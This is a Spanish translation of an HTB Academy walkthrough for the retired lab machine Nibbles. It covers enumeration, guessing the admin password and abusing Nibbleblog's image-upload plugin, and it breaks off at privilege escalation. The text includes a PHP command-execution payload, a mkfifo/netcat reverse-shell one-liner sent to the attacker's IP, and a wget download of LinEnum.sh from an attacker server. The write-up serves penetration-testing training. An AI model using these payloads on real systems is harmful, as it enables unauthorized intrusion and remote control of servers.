Continuando con el módulo de Cómo empezar en Hack The Box Academy, os traigo la resolución de la máquina Nibbles. Esta es una máquina retirada que está resuelta en la misma web de HTB Academy en inglés, por lo que os la he traducido como el resto del módulo. El principal motivo de incluir esta máquina, además de formar parte del módulo, es porque incluye varias técnicas que considero útiles para todos aquellos que os adentréis en el mundo de la resolución de máquinas en HackTheBox.
Índice
Nibbles – Enumeración
Hay unas 201 máquinas independientes de varios sistemas operativos y niveles de dificultad en la plataforma de HTB con membresía VIP en los momentos de escribir esto. Esta membresía incluye una guía oficial creada por HTB para cada una de las máquinas retiradas. También podemos encontrar guías en blog y vídeo para la mayoría de las máquinas con una rápida búsqueda en Google.
Para nuestro propósito, echaremos un vistazo a la máquina Nibbles, una máquina calificada como sencilla de Linux que muestra varias técnicas de enumeración comunes, explotación básica de aplicaciones web y una mala configuración de archivos para escalar privilegios.

Veamos algunas estadísticas de la máquina:
- Nombre de la máquina: Nibbles
- Creador: mrb3n
- Sistema operativo: Linux
- Dificultad: fácil
- Ruta del usuario: web
- Escalada de privilegios: archivo editable / mala configuración de sudoers
- Vídeo de Ippsec: https://www.youtube.com/watch?v=s_0GcRGv6Ds
- Guía: https://0xdf.gitlab.io/2018/06/30/htb-nibbles.html
Nuestro primer paso al enfrentarnos a cualquier máquina es realizar una enumeración básica. Comenzaremos con lo que sabemos del objetivo. Sabemos la dirección IP del objetivo, que es Linux y que su vector de ataque está relacionado con la web. Clasificaremos este enfoque como de caja gris, ya que tenemos algo de información acerca de la víctima.
En la plataforma HTB, las 20 máquinas «activas» cada semana están enfocadas desde un punto de vista de caja negra. Los usuarios tienen la dirección IP y el sistema operativo de antemano, pero ninguna información adicional acerca del objetivo para formular sus ataques. Por ello, la enumeración es crítica y muchas veces se trata de un proceso iterativo.
Antes de continuar, echemos un vistazo rápido a los distintos enfoques de pentesting. Hay tres tipos principales:
- Caja negra: bajo nivel de conocimiento sobre el objetivo. El pentester debe realizar un reconocimiento en profundidad para averiguar datos acerca de la víctima. Puede ser un pentest externo donde el tester sólo tiene el nombre de la compañía y ninguna información más, ni las direcciones IP, o un pentest interno donde el tester ha de saltar los controles para obtener acceso inicial a la red o puede conectar a la red interna pero no tiene información acerca de los hosts/redes internas. Este tipo de pentest es el que más simula un ataque actual, pero no es tan completo como otros tipos de evaluaciones y puede dejar alguna mala configuración o vulnerabilidad sin descubrir.
- Caja gris: el tester tiene cierta información de antemano. Esta puede ser una lista de los rangos/IP a su alcance, credenciales de bajo nivel a una aplicación web o Directorio Activo, o algunos diagramas de aplicación/redes. Este tipo de pentest puede simular a un insider malicioso o ver lo que un atacante podría hacer con un mínimo nivel de acceso. El tester normalmente invertirá menos tiempo en reconocimiento y más tiempo buscando malas configuraciones e intentando explotarlas.
- Caja blanca: el tester tiene acceso completo. En una prueba a una aplicación web, posee credenciales de administrador, acceso al código fuente, diagramas, etc., para buscar vulnerabilidades lógicas y otros fallos difíciles de encontrar. En una prueba a una red, ha de tener credenciales de administrador para adentrarse en el Directorio Activo u otros sistemas en busca de malas configuraciones que puedan haber pasado desapercibidas. Este tipo de evaluación es bastante completa y el tester tendrá acceso al objetivo para realizar un análisis lo más completo posible.
Nmap
Comencemos con un escaneo rápido con nmap en busca de puertos abiertos usando el comando nmap -sV --open -oA nibbles_initial_scan IP
. Esto ejecutará una enumeración de los servicios frente a los 1000 puertos más comunes y sólo devolverá los puertos abiertos. Podemos comprobar qué puertos escanea nmap para un tipo de escaneo realizando un escaneo sin objetivo especificado, usando el comando nmap -v -oG -
. Aquí la salida tendrá formato greppable con -oG y -v para que la salida sea impresa por completo en pantalla. Como no se ha especificado el objetivo, el escaneo fallará, pero nos mostrará los puertos escaneados.
user@htb[/htb]$ nmap -v -oG -
# Nmap 7.80 scan initiated Wed Dec 16 23:22:26 2020 as: nmap -v -oG -
# Ports scanned: TCP(1000;1,3-4,6-7,9,13,17,19-26,30,32-33,37,42-43,49,53,70,79-85,88-90,99-100,106,109-111,113,119,125,135,139,143-144,146,161,163,179,199,211-212,222,254-256,259,264,280,301,306,311,340,366,389,406-407,416-417,425,427,443-445,458,464-465,481,497,500,512-515,524,541,543-545,548,554-555,563,587,593,616-617,625,631,636,646,648,666-668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800-801,808,843,873,880,888,898,900-903,911-912,981,987,990,992-993,995,999-1002,1007,1009-1011,1021-1100,1102,1104-1108,1110-1114,1117,1119,1121-1124,1126,1130-1132,1137-1138,1141,1145,1147-1149,1151-1152,1154,1163-1166,1169,1174-1175,1183,1185-1187,1192,1198-1199,1201,1213,1216-1218,1233-1234,1236,1244,1247-1248,1259,1271-1272,1277,1287,1296,1300-1301,1309-1311,1322,1328,1334,1352,1417,1433-1434,1443,1455,1461,1494,1500-1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687-1688,1700,1717-1721,1723,1755,1761,1782-1783,1801,1805,1812,1839-1840,1862-1864,1875,1900,1914,1935,1947,1971-1972,1974,1984,1998-2010,2013,2020-2022,2030,2033-2035,2038,2040-2043,2045-2049,2065,2068,2099-2100,2103,2105-2107,2111,2119,2121,2126,2135,2144,2160-2161,2170,2179,2190-2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381-2383,2393-2394,2399,2401,2492,2500,2522,2525,2557,2601-2602,2604-2605,2607-2608,2638,2701-2702,2710,2717-2718,2725,2800,2809,2811,2869,2875,2909-2910,2920,2967-2968,2998,3000-3001,3003,3005-3007,3011,3013,3017,3030-3031,3052,3071,3077,3128,3168,3211,3221,3260-3261,3268-3269,3283,3300-3301,3306,3322-3325,3333,3351,3367,3369-3372,3389-3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689-3690,3703,3737,3766,3784,3800-3801,3809,3814,3826-3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000-4006,4045,4111,4125-4126,4129,4224,4242,4279,4321,4343,4443-4446,4449,4550,4567,4662,4848,4899-4900,4998,5000-5004,5009,5030,5033,5050-5051,5054,5060-5061,5080,5087,5100-5102,5120,5190,5200,5214,5221-5222,5225-5226,5269,5280,5298,5357,5405,5414,5431-5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678-5679,5718,5730,5800-5802,5810-5811,5815,5822,5825,5850,5859,5862,5877,5900-5904,5906-5907,5910-5911,5915,5922,5925,5950,5952,5959-5963,5987-5989,5998-6007,6009,6025,6059,6100-6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565-6567,6580,6646,6666-6669,6689,6692,6699,6779,6788-6789,6792,6839,6881,6901,6969,7000-7002,7004,7007,7019,7025,7070,7100,7103,7106,7200-7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777-7778,7800,7911,7920-7921,7937-7938,7999-8002,8007-8011,8021-8022,8031,8042,8045,8080-8090,8093,8099-8100,8180-8181,8192-8194,8200,8222,8254,8290-8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651-8652,8654,8701,8800,8873,8888,8899,8994,9000-9003,9009-9011,9040,9050,9071,9080-9081,9090-9091,9099-9103,9110-9111,9200,9207,9220,9290,9415,9418,9485,9500,9502-9503,9535,9575,9593-9595,9618,9666,9876-9878,9898,9900,9917,9929,9943-9944,9968,9998-10004,10009-10010,10012,10024-10025,10082,10180,10215,10243,10566,10616-10617,10621,10626,10628-10629,10778,11110-11111,11967,12000,12174,12265,12345,13456,13722,13782-13783,14000,14238,14441-14442,15000,15002-15004,15660,15742,16000-16001,16012,16016,16018,16080,16113,16992-16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221-20222,20828,21571,22939,23502,24444,24800,25734-25735,26214,27000,27352-27353,27355-27356,27715,28201,30000,30718,30951,31038,31337,32768-32785,33354,33899,34571-34573,35500,38292,40193,40911,41511,42510,44176,44442-44443,44501,45100,48080,49152-49161,49163,49165,49167,49175-49176,49400,49999-50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055-55056,55555,55600,56737-56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389) UDP(0;) SCTP(0;) PROTOCOLS(0;)
WARNING: No targets were specified, so 0 hosts scanned.
# Nmap done at Wed Dec 16 23:22:26 2020 -- 0 IP addresses (0 hosts up) scanned in 0.04 seconds
Finalmente daremos salida a todos los escaneos usando -oA
. Esto incluye una salida en XML, una salida en la que usar el comando grep
y una salida en formato texto que puede sernos útil más adelante. Es esencial obtener el hábito de tomar notas y guardar todas las salidas en consola que obtengamos. Cuanto mejor lo hagamos mientras practicamos, más natural para nosotros será en un caso real.
La toma de notas apropiada es vital para nosotros como pentesters y acelerará significativamente el proceso de reporte y nos aseguraremos de no dejarnos ninguna evidencia atrás. También es esencial mantener un registro detallado con sello de tiempo de los escaneos e intentos de explotación en caso de interrupción o incidente durante el cual el cliente necesitará información acerca de nuestras actividades.
user@htb[/htb]$ nmap -sV --open -oA nibbles_initial_scan IP_DE_LA_MAQUINA
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-16 23:18 EST
Nmap scan report for IP_DE_LA_MAQUINA
Host is up (0.11s latency).
Not shown: 991 closed ports, 7 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd <REDACTED> ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.82 seconds
Desde la salida del primer escaneo podemos ver que el host es un sistema Ubuntu Linux y que expone un servidor web Apache en el puerto 80 y un servidor OpenSSH en el puerto 22. SSH, o Secure Shell es un protocolo que se usa frecuentemente para acceder de forma remota a hosts Linux/Unix. SSH también se puede utilizar para acceder a un host Windows y es nativo en Windows 10 desde la versión 1809. Podemos ver también que se han creado los tres archivos de salida en nuestro directorio de trabajo.
user@htb[/htb]$ ls
nibbles_initial_scan.gnmap nibbles_initial_scan.nmap nibbles_initial_scan.xml
Antes de comenzar a picar en todos los puertos abiertos, podemos correr un escaneo completo a los puertos TCP usando el comando nmap -p 22,80 --open -oA nibbles_full_tcp_scan IP_DE_LA_MAQUINA
. Dado que ya sabemos qué puertos están abiertos, podemos ahorrar tiempo y limitar el tráfico de escaneo innecesario especificando los puertos con -p
.
user@htb[/htb]$ nmap -sC -p 22,80 -oA nibbles_script_scan IP_DE_LA_MAQUINA
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-16 23:39 EST
Nmap scan report for IP_DE_LA_MAQUINA
Host is up (0.11s latency).
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open http
|_http-title: Site doesn't have a title (text/html).
Nmap done: 1 IP address (1 host up) scanned in 4.42 seconds
El escaneo no nos ha dado nada útil. Vamos a modificar nuestra enumeración con nmap usando el script http-enum, el cuál se puede usar para enumerar directorios comunes en aplicaciones web. Este escaneo tampoco nos dio ningún dato útil.
user@htb[/htb]$ nmap -sV --script=http-enum -oA nibbles_nmap_http_enum IP_DE_LA_MAQUINA
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-16 23:41 EST
Nmap scan report for IP_DE_LA_MAQUINA
Host is up (0.11s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd <REDACTED> ((Ubuntu))
|_http-server-header: Apache/<REDACTED> (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.23 seconds
Nibbles – Buscando huellas en la web
Podemos usar whatweb para tratar de identificar la aplicación web en uso.
user@htb[/htb]$ whatweb IP_DE_LA_MAQUINA
http://IP_DE_LA_MAQUINA [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[IP_DE_LA_MAQUINA]
Esta herramienta no identifica ninguna tecnología web estándar. Si navegamos al objetivo en Firefox nos muestra simplemente un mensaje de «Hello world!«

Comprobando el código fuente nos muestra un comentario interesante.

Podemos comprobarlo con cURL.
user@htb[/htb]$ curl http://IP_DE_LA_MAQUINA
<b>Hello world!</b>
<!-- /nibbleblog/ directory. Nothing interesting here! -->
El comentario HTML menciona un directorio llamado nibbleblog. Vamos a hacer una comprobación con whatweb.
user@htb[/htb]$ whatweb http://IP_DE_LA_MAQUINA/nibbleblog
http://IP_DE_LA_MAQUINA/nibbleblog [301 Moved Permanently] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[IP_DE_LA_MAQUINA], RedirectLocation[http://IP_DE_LA_MAQUINA/nibbleblog/], Title[301 Moved Permanently]
http://IP_DE_LA_MAQUINA/nibbleblog/ [200 OK] Apache[2.4.18], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[IP_DE_LA_MAQUINA], JQuery, MetaGenerator[Nibbleblog], PoweredBy[Nibbleblog], Script, Title[Nibbles - Yum yum]
Ahora comenzamos a hacernos una imagen mejor de las cosas. Podemos ver algunas tecnologías en uso, como HTML5, JQuery y PHP. También podemos ver que el sitio está corriendo Nibbleblog, el cual es un motor gratuito de blogging creado con PHP.
Enumeración de directorios
Navegando al directorio /nibbleblog con Firefox, no vemos nada interesante en la página principal.

Una búsqueda rápida en Google para «exploit nibbleblog» nos lanza esta Vulnerabilidad en la subida de archivos en Nibbleblog. El fallo permite a un atacante autenticado subir y ejecutar código PHP arbitrario en el servidor subyacente. El módulo para Metasploit funciona para la versión 4.0.3. No conocemos la versión exacta de Nibbleblog en uso, pero hay bastantes números de que sea vulnerable a esto. Si miramos en el código fuente del módulo de Metasploit, podemos ver que el exploit usa credenciales facilitadas por el usuario para autenticar el portal de administración en /admin.php.
Usaremos Gobuster para ser minuciosos y comprobar cualquier otra página o directorio accesible.
user@htb[/htb]$ gobuster dir -u http://IP_DE_LA_MAQUINA/nibbleblog/ --wordlist /usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://IP_DE_LA_MAQUINA/nibbleblog/
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/12/17 00:10:47 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/admin (Status: 301)
/admin.php (Status: 200)
/content (Status: 301)
/index.php (Status: 200)
/languages (Status: 301)
/plugins (Status: 301)
/README (Status: 200)
/themes (Status: 301)
===============================================================
2020/12/17 00:11:38 Finished
===============================================================
Gobuster acaba rápido y confirma la presencia de la página admin.php. Podemos comprobar la página README en busca de información interesante, como el número de versión.
user@htb[/htb]$ curl http://IP_DE_LA_MAQUINA/nibbleblog/README
====== Nibbleblog ======
Version: v4.0.3
Codename: Coffee
Release date: 2014-04-01
Site: http://www.nibbleblog.com
Blog: http://blog.nibbleblog.com
Help & Support: http://forum.nibbleblog.com
Documentation: http://docs.nibbleblog.com
===== Social =====
* Twitter: http://twitter.com/nibbleblog
* Facebook: http://www.facebook.com/nibbleblog
* Google+: http://google.com/+nibbleblog
===== System Requirements =====
* PHP v5.2 or higher
* PHP module - DOM
* PHP module - SimpleXML
* PHP module - GD
* Directory “content” writable by Apache/PHP
<SNIP>
Por lo que confirmamos que la versión 4.0.3 está en uso, confirmando que esa es la versión vulnerable por el módulo de Metasploit (aunque esta puede ser una página README antigua). No vemos nada más interesante. Vamos a comprobar el portal de administración de login.

Ahora, para usar el exploit mencionado, necesitaremos unas credenciales de administrador válidas. Podemos intentar alguna técnica de bypass de la autorización o credenciales típicas de forma manual, como admin:admin o admin:password, sin resultado. Hay una función de reseteo de la contraseña, pero recibimos un error de correo. Además, demasiados intentos de login seguidos activan un mensaje de bloqueo que dice Nibbleblog security error – Blacklist protection.
Volvamos a los resultados de Gobuster. El código de estado 200 indica páginas/directorios que son directamente accesibles. El código 403 en la salida indica que el acceso a esos recursos está prohibido. Finalmente, el 301 es una redirección permanente. Vamos a explorar estos. Navegamos a nibbleblog/themes/. Podemos ver que el listado de directorios está habilitado en la aplicación web. Quizás podamos encontrar algo interesante por esta parte.

Si navegamos a nibbleblog/content nos muestra algunos directorios interesantes como public, private y tmp. Si hurgamos un poco, encontramos un archivo users.xml que parece confirmar que el nombre de usuario es admin. Además, muestra una lista negra de direcciones IP. Podemos solicitar este archivo con cURL y embellecer la salida XML usando xmllint.
user@htb[/htb]$ curl -s http://IP_DE_LA_MAQUINA/nibbleblog/content/private/users.xml | xmllint --format -
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<users>
<user username="admin">
<id type="integer">0</id>
<session_fail_count type="integer">2</session_fail_count>
<session_date type="integer">1608182184</session_date>
</user>
<blacklist type="string" ip="10.10.10.1">
<date type="integer">1512964659</date>
<fail_count type="integer">1</fail_count>
</blacklist>
<blacklist type="string" ip="10.10.14.2">
<date type="integer">1608182171</date>
<fail_count type="integer">5</fail_count>
</blacklist>
</users>
A estas alturas tenemos un nombre de usuario válido pero no tenemos contraseña. Si buscamos en la documentación de Nibbleblog, vemos que la contraseña se configura durante la instalación, y no hay una contraseña por defecto. Por lo tanto, tenemos las siguientes piezas del puzzle:
- Una instalación de Nibbleblog potencialmente vulnerable a la subida de archivos.
- Un portal de administración en nibbleblog/admin.php.
- Un listado de directorios que confirma que admin es un nombre de usuario válido.
- Una lista negra de IPs por reiterados intentos de login mediante fuerza bruta. Esto elimina la posibilidad de un ataque de fuerza bruta con una herramienta como Hydra.
No hay más puertos abiertos, y no hemos encontrado nada en otra dirección. Lo podemos confirmar realizando un nuevo análisis con Gobuster contra la raíz de la aplicación web.
user@htb[/htb]$ gobuster dir -u http://IP_DE_LA_MAQUINA/ --wordlist /usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://IP_DE_LA_MAQUINA/
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/12/17 00:36:55 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/index.html (Status: 200)
/server-status (Status: 403)
===============================================================
2020/12/17 00:37:46 Finished
===============================================================
Echando otro vistazo a los directorios expuestos, encontramos un archivo config.xml.
user@htb[/htb]$ curl -s http://IP_DE_LA_MAQUINA/nibbleblog/content/private/config.xml | xmllint --format -
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<config>
<name type="string">Nibbles</name>
<slogan type="string">Yum yum</slogan>
<footer type="string">Powered by Nibbleblog</footer>
<advanced_post_options type="integer">0</advanced_post_options>
<url type="string">http://IP_DE_LA_MAQUINA/nibbleblog/</url>
<path type="string">/nibbleblog/</path>
<items_rss type="integer">4</items_rss>
<items_page type="integer">6</items_page>
<language type="string">en_US</language>
<timezone type="string">UTC</timezone>
<timestamp_format type="string">%d %B, %Y</timestamp_format>
<locale type="string">en_US</locale>
<img_resize type="integer">1</img_resize>
<img_resize_width type="integer">1000</img_resize_width>
<img_resize_height type="integer">600</img_resize_height>
<img_resize_quality type="integer">100</img_resize_quality>
<img_resize_option type="string">auto</img_resize_option>
<img_thumbnail type="integer">1</img_thumbnail>
<img_thumbnail_width type="integer">190</img_thumbnail_width>
<img_thumbnail_height type="integer">190</img_thumbnail_height>
<img_thumbnail_quality type="integer">100</img_thumbnail_quality>
<img_thumbnail_option type="string">landscape</img_thumbnail_option>
<theme type="string">simpler</theme>
<notification_comments type="integer">1</notification_comments>
<notification_session_fail type="integer">0</notification_session_fail>
<notification_session_start type="integer">0</notification_session_start>
<notification_email_to type="string">admin@nibbles.com</notification_email_to>
<notification_email_from type="string">noreply@10.10.10.134</notification_email_from>
<seo_site_title type="string">Nibbles - Yum yum</seo_site_title>
<seo_site_description type="string"/>
<seo_keywords type="string"/>
<seo_robots type="string"/>
<seo_google_code type="string"/>
<seo_bing_code type="string"/>
<seo_author type="string"/>
<friendly_urls type="integer">0</friendly_urls>
<default_homepage type="integer">0</default_homepage>
</config>
Lo revisamos, esperando encontrar contraseñas fructíferas, pero lo que vemos son dos menciones a nibbles en el título del sitio así como la dirección de e-mail para notificaciones. Este es también el nombre de la máquina. ¿Podría ser la contraseña?
Cuando se realiza un crackeo de contraseñas offline con una herramienta como Hashcat o intentamos averiguar una contraseña, es importante considerar toda la información que tenemos delante. Es común crackear con éxito un hash de contraseña (como la frase de paso de una red wireless de una empresa) usando un diccionario generado mediante crawling a su sitio web usando una herramienta como CeWL.

Esto nos muestra lo crucial que es la enumeración a conciencia. Recapitulemos para ver qué tenemos:
- Comenzamos con un simple escaneo con nmap que nos devuelve dos puertos abiertos.
- Descubrimos una instancia de Nibbleblog.
- Analizamos las tecnologías en uso con whatweb.
- Encontramos la página de login del administrado en admin.php.
- Descubrimos que el listado de directorios está habilitado y navegamos por varios directorios.
- Confirmamos que admin era un nombre de usuario válido.
- Encontramos una lista negra de IPs habilitada para prevenir intentos de login por fuerza bruta.
- Revelamos pistas que nos llevaron a una contraseña válida para admin: nibbles.
Esto demuestra que necesitamos un proceso claro y repetible que podamos usar una y otra vez, sin importar si estamos atacando una máquina en HTB, realizando un ataque a una aplicación web en un pentesting para un cliente, o atacando un entorno de Active Directory. Ten presente que una enumeración iterativa, junto a una buena toma de notas, es una de las claves para tener éxito en este campo.
Conforme vayas progresando en tu carrera, te irás maravillando sobre cómo el alcance inicial de un pentest parecía extremadamente limitado y «aburrido», y una vez hurgas en él y realizas una enumeración tras otra y vas quitando las capas, puedes encontrar un servicio expuesto en un puerto alto o alguna página o directorio olvidado que puede llevarte a datos sensibles o incluso a algo a lo que agarrarte.
Nibbles – Algo a lo que agarrarse
Ahora que nos hemos logueado en el portal de administración, necesitamos intentar convertir este acceso en una ejecución de código y obtener un acceso por shell reversa al servidor web. Sabemos que el módulo de Metasploit funcionará en este caso, pero vamos a analizar el portal de administración para ver otros vectores de ataque. Mirando por encima, vemos las siguientes páginas:
- Publish: crear un nuevo post, vídeo, cita o una nueva página. Puede ser interesante.
- Comments: muestra los comentarios no publicados.
- Manage: permite gestionar los posts, páginas y categorías. Podemos editar y borrar categorías, algo poco interesante.
- Settings: bajando hasta la parte inferior confirma que la versión 4.0.3 vulnerable está en uso. Hay varios ajustes disponibles, pero ninguno parece de valor para nosotros.
- Themes: nos permite instalar un nuevo tema de una lista pre-seleccionada.
- Plugins: nos permite configurar, instalar o desinstalar plugins. El plugin My image nos permite subir un archivo de imagen. ¿Podríamos usar esto para subir código PHP?
Intentar crear una nueva página y embeber código o subir archivos no parece el camino a seguir. Vamos a echar un ojo a la página de plugins.

Vamos a probar a usar este plugin para subir un fragmento de código PHP en lugar de una imagen. Usaremos el siguiente pedazo de código para probar la ejecución de código:
<?php system('id'); ?>
Guardamos el código a un archivo y hacemos clic en el botón Browse y lo subimos.

Obtenemos una retahíla de errores, pero parece que el archivo se ha subido.
Warning: imagesx() expects parameter 1 to be resource, boolean given in /var/www/html/nibbleblog/admin/kernel/helpers/resize.class.php on line 26
Warning: imagesy() expects parameter 1 to be resource, boolean given in /var/www/html/nibbleblog/admin/kernel/helpers/resize.class.php on line 27
Warning: imagecreatetruecolor(): Invalid image dimensions in /var/www/html/nibbleblog/admin/kernel/helpers/resize.class.php on line 117
Warning: imagecopyresampled() expects parameter 1 to be resource, boolean given in /var/www/html/nibbleblog/admin/kernel/helpers/resize.class.php on line 118
Warning: imagejpeg() expects parameter 1 to be resource, boolean given in /var/www/html/nibbleblog/admin/kernel/helpers/resize.class.php on line 43
Warning: imagedestroy() expects parameter 1 to be resource, boolean given in /var/www/html/nibbleblog/admin/kernel/helpers/resize.class.php on line 80
Ahora hemos de ver si la subida tuvo éxito. Si vamos atrás en los resultados de fuerza bruta a los directorios, recordamos el directorio /content. Dentro de él hay un directorio /plugins y dentro otro subdirectorio para my_image. En este directorio vemos dos archivos, db.xml y image.php, con una fecha de modificación reciente, lo que significa que nuestra subida tuvo éxito. Comprobemos si se ejecuta el comando.
user@htb[/htb]$ curl http://IP_DE_LA_MAQUINA/nibbleblog/content/private/plugins/my_image/image.php
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
¡Se ejecuta! Parece que hemos obtenido ejecución remota de código en el servidor web, y el servidor Apache está corriendo en el contexto del usuario nibbler. Vamos a modificar el archivo PHP para obtener una shell reversa y comenzar a hurgar en el servidor.
Editamos nuestro archivo local PHP y lo subimos de nuevo. Este comando debería darnos una shell reversa. Hay varias chuletas en Internet acerca de las shells reversas. Algunas de las mejores son PayloadAllTheThings y HighOn,Coffee.
Usaremos la siguiente shell reversa en una sola línea en Bash y la añadiremos a nuestro script PHP.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <NUESTRA_IP> <PUERTO_DE_ESCUCHA) >/tmp/f
Añadiremos nuestra dirección IP tun0 en y un puerto de nuestra elección en para capturar la shell reversa en nuestro netcat. Así quedará el script PHP:
<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc NUESTRA_IP PUERTO_DE_ESCUCHA >/tmp/f"); ?>
Subimos de nuevo el archivo y corremos un netcat en nuestro terminal en el puerto que hemos configurado en el script:
0xdf@htb[/htb]$ nc -lvnp 9443
listening on [any] 9443 ...
Hacemos un cURL a la imagen de nuevo o navegamos hasta ella desde Firefox para ejecutar la shell reversa.
user@htb[/htb]$ nc -lvnp 9443
listening on [any] 9443 ...
connect to [NUESTRA_IP] from (UNKNOWN) [IP_DE_LA_MAQUINA] 40106
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
Ahora ya tenemos una shell reversa. Antes de seguir adelante con la enumeración, vamos a mejorar nuestra shell, ya que esta no es una shell totalmente interactiva y comandos específicos como su no funcionarán, no podremos usar editores de texto ni completar con el tabulador, etc. Esta publicación explica el problema más a fondo así como una variedad de formas de mejorar la shell. Para nuestros propósitos, usaremos un comando en una línea de Python para crear una pseudo-terminal en la que los comandos como su y sudo funcionarán.
python -c 'import pty; pty.spawn("/bin/bash")'
Prueba las distintas técnicas para mejorar el TTY y elige la que te funcione mejor. Nuestro primer intento falló ya que parece ser que Python2 no se encuentra en el sistema.
$ python -c 'import pty; pty.spawn("/bin/bash")'
/bin/sh: 3: python: not found
$ which python3
/usr/bin/python3
Aún así, tenemos Python3, que es útil para facilitarnos una shell amigable escribiendo python3 -c 'import pty; pty.spawn("/bin/bash")'
. Navegando a /home/nibbler encontramos la flag user.txt así como un archivo zip llamado personal.zip.
nibbler@Nibbles:/home/nibbler$ ls
ls
personal.zip user.txt
Nibbles – Escalada de privilegios
Ahora que tenemos una conexión por shell reversa, es momento de escalar privilegios. Podemos descomprimir el archivo personal.zip y ver que contiene un archivo llamado monitor.sh.
nibbler@Nibbles:/home/nibbler$ unzip personal.zip
unzip personal.zip
Archive: personal.zip
creating: personal/
creating: personal/stuff/
inflating: personal/stuff/monitor.sh
El script monitor.sh es un script de monitorización, y es propiedad del usuario nibbler y editable.
nibbler@Nibbles:/home/nibbler/personal/stuff$ cat monitor.sh
cat monitor.sh
####################################################################################################
# Tecmint_monitor.sh #
# Written for Tecmint.com for the post www.tecmint.com/linux-server-health-monitoring-script/ #
# If any bug, report us in the link below #
# Free to use/edit/distribute the code below by #
# giving proper credit to Tecmint.com and Author #
# #
####################################################################################################
#! /bin/bash
# unset any variable which system may be using
# clear the screen
clear
unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage
while getopts iv name
do
case $name in
i)iopt=1;;
v)vopt=1;;
*)echo "Invalid arg";;
esac
done
<SNIP>
Dejaremos esto a un lado por ahora y nos centraremos en LinEnum.sh para realizar algunas comprobaciones automatizadas de escalada de privilegios. Primero descargamos el script a nuestra VM local o a la Pwnbox y a continuación iniciamos un servidor HTTP Python con el comando sudo python3 -m http.srver 8080
.
user@htb[/htb]$ sudo python3 -m http.server 8080
[sudo] password for ben: ***********
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
IP_DE_LA_MAQUINA - - [17/Dec/2020 02:16:51] "GET /LinEnum.sh HTTP/1.1" 200 -
De vuelta en el objetivo escribimos wget http://<NUESTRA_IP>:8080/LinEnum.sh
para descargar el script. Si todo ha ido bien, veremos una respuesta con código 200 en nuestro servidor HTTP Python. Una vez obtenido el script, escribimos chmod +x LinEnum.sh
para hacer el script ejecutable y después ./LinEnum.sh
para correrlo. Veremos un montón de líneas de salida pero la que inmediatamente captará nuestra atención es la de los privilegios sudo.
[+] We can sudo without supplying a password!
Matching Defaults entries for nibbler on Nibbles:
